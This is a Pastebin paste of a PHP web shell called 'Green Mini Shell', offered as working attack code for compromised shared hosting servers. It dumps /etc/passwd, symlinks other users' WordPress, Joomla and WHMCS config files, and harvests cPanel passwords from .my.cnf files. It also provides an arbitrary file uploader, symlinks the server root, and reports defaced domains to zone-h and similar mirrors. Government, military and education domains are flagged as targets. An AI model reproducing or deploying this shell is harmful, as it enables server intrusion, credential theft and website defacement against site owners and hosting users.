Advertisement
EddieKidiw

Green Mini Shell (Decode)

Feb 12th, 2017
2,025
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 17.21 KB | None | 0 0
  1. <?php
  2.  
  3. echo "
  4. <html>
  5. <body bgcolor=black>
  6. <head>
  7. <style type=text/css>
  8. body{
  9.     background:#000000;;
  10. }
  11. a {
  12. text-decoration:none;
  13. }
  14. a:hover{
  15. border-bottom:1px solid aqua;
  16. }
  17. *{
  18.     font-size:11px;
  19.     font-family:Courier,Courier,Courier;
  20.     color:white;
  21. }
  22. #menu a{
  23.     padding:4px 18px;
  24.     margin:0;
  25.     background:darkred;
  26.     text-decoration:none;
  27.     letter-spacing:2px;
  28.     -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
  29.  
  30. }
  31. </style>
  32.  
  33. <title>Ustad - Tamvan</title>
  34. </head>
  35. <br><center><div id=menu>
  36. <a href=?home>Home</a>
  37. <a href=?grab>Grabber</a>
  38. <a href=?cp>Cpanel finder</a>
  39. <a href=?upl>Uploader</a>
  40. </div></center>
  41. <p>
  42. <center>
  43. <img src=http://vignette1.wikia.nocookie.net/fairytail/images/b/be/Chibi_uchiha_itachi.png width=272 height=315/><br /></center><br><center><div id=menu>
  44. <a href=?jump>jumping</a>
  45. <a href=?notif>Notifier</a>
  46. <a href=?x=symlink>Symlink</a>
  47. <a href=?about>About</a>
  48. </div></center>
  49. <br><br><center>".php_uname().";<br>";
  50.  
  51. if(isset($_GET["about"])){
  52. echo "<font color=red><center>Recoded by Ustadcage<br>Thanks: Sinkaroid and kerupuk ^_^</font></center>";
  53. }
  54.  
  55.  
  56. ############### MULAI DARI SINI #################
  57.  
  58. if(isset($_GET["grab"])){
  59. echo "
  60. <body bgcolor=black>
  61. <form method='POST'>
  62. <style>
  63. textarea {
  64. resize:none;
  65. color: #000000 ;
  66. background-color:#000000;  
  67. font-size:8pt; color:#ffffff;
  68. border:1px solid white ;
  69. border-left: 4px solid white ;
  70. width:543px;
  71. height:400px;
  72. }
  73. input {
  74. color: #000000;
  75. border:1px dotted white;
  76. }
  77. </style>";
  78. echo "<center>";
  79.  
  80. echo "</center><br><center>";
  81. if (empty($_POST['config'])) { echo "<p><font face=Tahoma color=#007700 size=2pt>/etc/passwd content</p><br><form method=POST><textarea name=passwd class=area rows=15 cols=60>";
  82. echo file_get_contents('/etc/passwd');
  83. echo "</textarea><br><br><input name=config class=inputzbut size=100 value=Grab! type=submit><br></form></center><br>";
  84.  }
  85.  
  86. if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('ustadtamvan_grabber', 0755);@chdir('ustadtamvan_grabber');
  87. $htaccess="
  88. OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
  89. Options Indexes FollowSymLinks
  90. ForceType text/plain
  91. AddType text/plain .php
  92. AddType text/plain .html
  93. AddType text/html .shtml
  94. AddType txt .php
  95. AddHandler server-parsed .php
  96. AddHandler txt .php
  97. AddHandler txt .html
  98. AddHandler txt .shtml
  99. Options All
  100. Options All";
  101. file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
  102. $passwd=explode("n",$passwd);
  103. echo "<br><br><center><font color=#b0b000 size=2pt>grabbing, please wait ...</center><br>";
  104. foreach($passwd as $pwd){
  105. $pawd=explode(":",$pwd);$user =$pawd[0];
  106. @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
  107. @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
  108. @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
  109. @symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
  110. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
  111. @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
  112. @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
  113. @symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
  114. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
  115. @symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
  116. @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
  117. @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
  118. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
  119. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
  120. @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
  121. @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
  122. @symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
  123. @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
  124. @symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
  125. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
  126. @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
  127. @symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
  128. @symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
  129. @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
  130. @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
  131. @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
  132. @symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
  133. @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
  134. @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
  135. @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
  136. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
  137. @symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
  138. @symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
  139. @symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
  140. @symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
  141. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
  142. @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
  143. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
  144. @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
  145. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
  146. echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="ustadtamvan_grabber">Open configs</a></font></b>';
  147. }
  148. }
  149.  
  150.  
  151. elseif(isset($_GET["home"]))
  152.     {
  153.     echo"<table><td align=center><body>
  154.     <h2><font color=green></font></h2>";
  155.     }
  156.     elseif(isset($_GET["upl"]))
  157.     {
  158.     echo"<br><br><br><center><font color=red>";
  159.         print "n";$disable_functions = @ini_get("disable_functions");
  160.         echo "<br>DisablePHP=".$disable_functions; print "n";
  161.         echo"<br><form method=post enctype=multipart/form-data>";
  162.         echo"<input type=file name=f><input name=k type=submit id=k value=pencet><br>";
  163.           if($_POST["k"]==pencet)
  164.     {
  165.     if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){
  166.     echo"<b>".$_FILES["f"]["name"];
  167.     }else{
  168.     echo"<b>Gagal upload";
  169.     }
  170.     }
  171.     }
  172.  
  173.  
  174. /**
  175.  * @author: FaisaL Ahmed aka rEd X
  176.  * @mail: me@faialahmed.me
  177.  * @Screenshot: http://prntscr.com/7c1p34
  178.  * @Last Updated: 01 June 2015
  179. */
  180. elseif(isset($_GET["cp"]))
  181.     {
  182. @ini_set('display_errors',0);
  183. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  184.     $ar0=explode($marqueurDebutLien, $text);
  185.     $ar1=explode($marqueurFinLien, $ar0[$i]);
  186.     return trim($ar1[0]);
  187. }
  188.  
  189. echo '<style>
  190. textarea {
  191. resize:none;
  192. color: red ;
  193. background-color:#ffffff;  
  194. font-size:8pt; color:#000000;
  195. border:1px solid white ;
  196. border-left: 4px solid white ;
  197. width:543px;
  198. height:400px;
  199. }
  200. input {
  201. color: #000000;
  202. border:1px dotted white;
  203. }
  204. </style>';
  205. echo '<center>';
  206.  
  207. $d0mains = @file('/etc/named.conf');
  208. $domains = scandir("/var/named");
  209.  
  210. if ($domains or $d0mains)
  211. {
  212.     $domains = scandir("/var/named");
  213.     if($domains) {
  214.  
  215. echo "<table align=center><tr><th valign=top bgcolor=darkgreen class=style2> COUNT </th><th valign=top bgcolor=darkgreen > DOMAIN </th><th valign=top bgcolor=darkgreen class=style2 > USER </th><th valign=top bgcolor=darkgreen class=style2 > Password </th><th valign=top bgcolor=darkgreen class=style2 > .my.cnf </th></tr>";
  216. $count=1;
  217. $dc = 0;
  218. $list = scandir("/var/named");
  219. foreach($list as $domain){
  220. if(strpos($domain,".db")){
  221. $domain = str_replace('.db','',$domain);
  222. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  223. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  224. $path = getcwd();
  225.  
  226. if (is_readable($dirz)) {
  227. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  228. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  229. $password=entre2v2($p,'password="','"');
  230. echo "<tr><td valign=top style=border :2px solid white; width: 139px class=style2>".$count++."</td><td valign=top style= width: 139px; border :2px solid white  class=style2 ><a href=http://".$domain.":2082 target=_blank>".$domain."</a></td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >".$owner['name']."</td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >".$password."</td><td valign=top style=border :2px solid white  id=menu style=width: 139px><a href=".$owner['name'].".txt target=_blank>Click Here</a></td></tr>";
  231.    
  232.  
  233. $dc++;
  234. }
  235.  
  236. }
  237. }
  238. echo '</table>';
  239. $total = $dc;
  240.  
  241. echo '</center>';
  242. }else{
  243. $d0mains = @file('/etc/named.conf');
  244.     if($d0mains) {
  245. echo "<table align=center><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  246. $count=1;
  247. $dc = 0;
  248. $mck = array();
  249. foreach($d0mains as $d0main){
  250.     if(@eregi('zone',$d0main)){
  251.         preg_match_all('#zone "(.*)"#',$d0main,$domain);
  252.         flush();
  253.         if(strlen(trim($domain[1][0])) >2){
  254.             $mck[] = $domain[1][0];
  255.         }
  256.     }
  257. }
  258. $mck = array_unique($mck);
  259. $usr = array();
  260. $dmn = array();
  261. foreach($mck as $o) {
  262.     $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  263.     $usr[] = $infos['name'];
  264.     $dmn[] = $o;
  265. }
  266. array_multisort($usr,$dmn);
  267. $dt = file('/etc/passwd');
  268. $passwd = array();
  269. foreach($dt as $d) {
  270.     $r = explode(':',$d);
  271.     if(strpos($r[5],'home')) {
  272.         $passwd[$r[0]] = $r[5];
  273.     }
  274. }
  275. $l=0;
  276. $j=1;
  277. foreach($usr as $r) {
  278. $dirz = '/home/'.$r.'/.my.cnf';
  279. $path = getcwd();
  280. if (is_readable($dirz)) {
  281. copy($dirz, ''.$path.'/'.$r.'.txt');
  282. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  283. $password=entre2v2($p,'password="','"');
  284. echo "<tr><td valign=top bgcolor=darkgreen class=style2 style=width: 139px>".$count++."</td><td valign=top bgcolor=darkgreen class=style2 style=width: 139px><a target=_blank href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td valign=top bgcolor=darkgreen class=style2 style=width: 139px>'.$r."</td><td valign=top bgcolor=darkgreen class=style2 style=width: 139px>".$password."</td><td valign=top bgcolor=darkgreen class=style2 style=width: 139px><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  285. $dc++;
  286.                 flush();
  287.                 $l=$l?0:1;
  288.                 $j++;
  289.                 }
  290.             }
  291.             }
  292. echo '</table>';
  293. $total = $dc;
  294. echo '<br><div class=result valign=top bgcolor=darkgreen class=style2 style=width: 139px >Total cPanel Found = '.$total.'</h3><br />';
  295. echo '</center>';
  296.  
  297. }
  298. }else{
  299. echo "<div class=result><i><font color=#FF0000>ERROR</font><br><font color=#FF0000>/var/named</font> or <font color=#FF0000>etc/named.conf</font> Not Accessible!</i></div>";
  300. }
  301. }
  302.  
  303.  
  304.   ////////////////////////////////
  305.    
  306.    elseif(isset($_GET["jump"]))
  307.     {
  308.      ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
  309.     set_time_limit(0);
  310.     ###################
  311.     @$passwd = fopen('/etc/passwd','r');
  312.     if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
  313.     $pub = array();
  314.     $users = array();
  315.     $conf = array();
  316.     $i = 0;
  317.     while(!feof($passwd))
  318.     {
  319.         $str = fgets($passwd);
  320.         if ($i > 35)
  321.             {
  322.             $pos = strpos($str,':');
  323.             $username = substr($str,0,$pos);
  324.             $dirz = '/home/'.$username.'/public_html/';
  325.             if (($username != ''))
  326.                 {
  327.                 if (is_readable($dirz))
  328.                     {
  329.                     array_push($users,$username);
  330.                     array_push($pub,$dirz);
  331.                     }
  332.                 }
  333.             }
  334.         $i++;
  335.     }
  336.    
  337.     ###################
  338.     echo '<br>';
  339.     echo "[+] Founded <font size=15 color=red> ".sizeof($users)." </font> entrys in /etc/passwd\n"."<br />";
  340.     echo "[+] Founded <font color=red size=15> ".sizeof($pub)." </font> readable public_html directories\n"."<br />";
  341.     echo "[~] Searching for passwords in config files...\n\n"."<br /><br /><br />";
  342.     foreach ($users as $user)
  343.         {
  344.         $path = "/home/$user/public_html/";
  345.         echo "<table bgcolor=black class=style2 ><td>";
  346.         echo "<font color=white>[Ok] $path</font><br>";
  347.         echo "</td></table>";
  348.         }
  349.     echo "\n";
  350. }
  351.  
  352.  
  353.   ////////////////////////////////
  354.    
  355.    elseif(isset($_GET["notif"]))
  356.     {
  357.  
  358. set_time_limit (0);
  359.  
  360. echo "
  361. <center>
  362. <form method=POST>
  363. Hacker Name :<br> <input type=text name=defacer size=32 style=border: solid 1px red><br>&nbsp&nbsp&nbspMirror : <br>
  364. <select style=border: solid 1px red name=mirror>
  365. <option>zone-h</option>
  366. <option>dark-h</option>
  367. <option>aljyyosh.org</option>
  368. </select><br>
  369. Domains :<br><textarea style= width: 678px; height: 302px ;border: solid 1px red name=domains></textarea><br>
  370. <input type=submit value=Send name=go>
  371. </form></center>";
  372.  
  373. if (!function_exists ("curl_init")){die ("This Script uses cURL Library, you must install first !<br><a href='http://au2.php.net/manual/en/curl.setup.php'>http://au2.php.net/manual/en/curl.setup.php</a>");}
  374.  
  375. if (@$_POST['go'])
  376. {
  377.     foreach (explode ("\n", $_POST['domains']) as $domain)
  378.     {
  379.         post ($domain, $_POST['defacer'], $_POST['mirror']);
  380.     }
  381.     echo "<br><br><a target=_blank href=http://zone-h.com/archive/published=0>Zone-h</a><br>";
  382.     echo "<a target=_blank href=http://dark-h.org/onhold/?s=1>Dark-h</a><br>";
  383.     echo "<a target=_blank href=http://aljyyosh.org/onhold.php>Aljyyosh.org</a>";
  384. }
  385.  
  386. function post ($url, $defacer, $mirror)
  387. {
  388.     $ch = curl_init ();
  389.     curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  390.     curl_setopt ($ch, CURLOPT_POST, 1);
  391.  
  392.     switch ($mirror)
  393.     {
  394.     case "zone-h";
  395.         curl_setopt ($ch, CURLOPT_URL, "http://www.zone-h.com/notify/single");
  396.         curl_setopt ($ch, CURLOPT_POSTFIELDS, "defacer=$defacer&domain1=$url&hackmode=1&reason=1");
  397.         if (preg_match ("/color=\"red\">OK<\/font><\/li>/", curl_exec ($ch)))
  398.             echo "$url.&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<span style=color: green>OK</span><br>";
  399.         else
  400.             echo "$url&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<span style=color: red>Error</span><br>";
  401.         break;
  402.     case "dark-h";
  403.         curl_setopt ($ch, CURLOPT_URL, "http://dark-h.org/notify/kaydet.php");
  404.         curl_setopt ($ch, CURLOPT_POSTFIELDS, "hacker=$defacer&site=$url&gkodumuz=123456&zgkod=123456&kod=123456");
  405.         curl_exec ($ch);
  406.         echo "$url<br>";
  407.         break;
  408.     case "aljyyosh.org";
  409.         curl_setopt ($ch, CURLOPT_URL, "http://aljyyosh.org/single.php");
  410.         curl_setopt ($ch, CURLOPT_COOKIE, "alj=aljyyosh");
  411.         curl_setopt ($ch, CURLOPT_POSTFIELDS, "hacker=$defacer&site=$url&how=1&why=1&addsite=Send");
  412.         if (preg_match ("/<font color=red> OK<\/font>/", curl_exec ($ch)))
  413.             echo "$url&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<span style=color: green>OK</span><br>";
  414.         else
  415.             echo "$url&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<span style=color: red>Error</span><br>";
  416.         break;
  417.     default:
  418.         break;
  419.     }
  420.     curl_close ($ch);
  421. }
  422. }
  423.  
  424.      elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink')) {    echo " <form action= method=post>";
  425.  @set_time_limit(0);
  426.  echo "<center>";
  427.  @mkdir('sym',0777);
  428. $htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; $write =@fopen ('sym/.htaccess','w'); fwrite($write ,$htaccess); @symlink('/','sym/root'); $filelocation = basename(__FILE__); $read_named_conf = @file('/etc/named.conf'); if(!$read_named_conf) { echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; } else { echo "<br><br><div class='tmp'><table border=1 bordercolor=#FF0000 width=500 cellpadding=1 cellspacing=0><td>Domains</td><td>Users</td><td>symlink </td>"; foreach($read_named_conf as $subject){ if(eregi('zone',$subject)){ preg_match_all('#zone "(.*)"#',$subject,$string); flush(); if(strlen(trim($string[1][0])) >2){ $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0])); $name = $UID['name'] ; @symlink('/','sym/root'); $name = $string[1][0]; $iran = '\.ir'; $israel = '\.il'; $indo = '\.id'; $sg12 = '\.sg'; $edu = '\.edu'; $gov = '\.gov'; $gose = '\.go'; $gober = '\.gob'; $mil1 = '\.mil'; $mil2 = '\.mi'; if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0]) or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])) { $name = "<div style= color: #FF0000 ; text-shadow: 0px 0px 1px red; >".$string[1][0].'</div>'; } echo " <tr> <td> <div class=dom><a target=_blank href=http://www.".$string[1][0].'/>'.$name.' </a> </div> </td> <td> '.$UID['name']." </td> <td> <a href=sym/root/home/".$UID['name']."/public_html target=_blank>Symlink </a> </td> </tr></div> "; flush(); } } } } echo "</center></table>"; }
  429.  
  430.  
  431.    
  432.     echo "</div><center><b><br><br><br><font color=red>&copy 2015 Recoded By UstadCage_48</font></center><b>
  433.         <br><center>Green Mini Shell</center><br>";
  434.  
  435. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement